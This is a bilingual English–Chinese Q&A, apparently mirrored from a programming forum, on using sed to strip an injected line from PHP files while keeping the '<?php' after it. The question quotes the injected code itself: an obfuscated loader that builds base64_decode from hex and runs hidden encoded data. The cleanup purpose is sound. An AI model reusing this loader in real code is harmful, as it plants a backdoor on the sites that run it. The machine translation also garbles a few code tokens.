[英]Bash insert string after deleting line with sed
I want to remove these line because it's a injection code: 我想删除这些行,因为它是注入代码:
if (!function_exists('openNewOFormatCall')){function openNewOFormatCall($a, $b){$c=$GLOBALS[' '];$d=pack('H*','6261736536345f64'.'65636f6465'); return $d(substr($c, $a, $b));};$useGitFallYCutCodeU=openNewOFormatCall(3851,20);$useGitFallYCutCodeU("", openNewOFormatCall(3873, 3).openNewOFormatCall(565,3283).openNewOFormatCall(3879, 3));};?><?php
I can certainly remove that line with syntax: 我当然可以用语法删除该行:
find -iname "*.php" -exec sed -i '/openNewOFormatCall/d' {} \;
The problem is, it would also delete that attaching character at the end <?php
which was required for the php files to work correctly. 问题是,它还会删除
<?php
末尾的附加字符,这是php文件正常工作所必需的。 So i was thinking to delete this line and adding new <?php
afterwards. 因此,我正在考虑删除此行,然后添加新的
<?php
。
please advise. 请指教。
Just use: 只需使用:
sed 's/.*openNewOFormatCall.*/<?php/' file
If the part behind ?> is variable: 如果?>后面的部分是可变的:
sed -r 's/..*openNewOFormatCall.*\?>(.*)/\1/' file
The question mark needs masking. 问号需要掩盖。 (.*) captures what follows ?>.
(。*)捕获后面的?>。 \\1 is the backreference to the captured content.
\\ 1是对捕获内容的反向引用。
If it works, and after making a backup of valuable data, you will run it with -i
for modifications in place like in your example: 如果它可行,并且在备份了有价值的数据之后,您将使用
-i
运行它以进行修改,例如您的示例:
find -iname "*.php" -exec sed -i -r 's/..*openNewOFormatCall.*\?>(.*)/\1/' {} \;
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.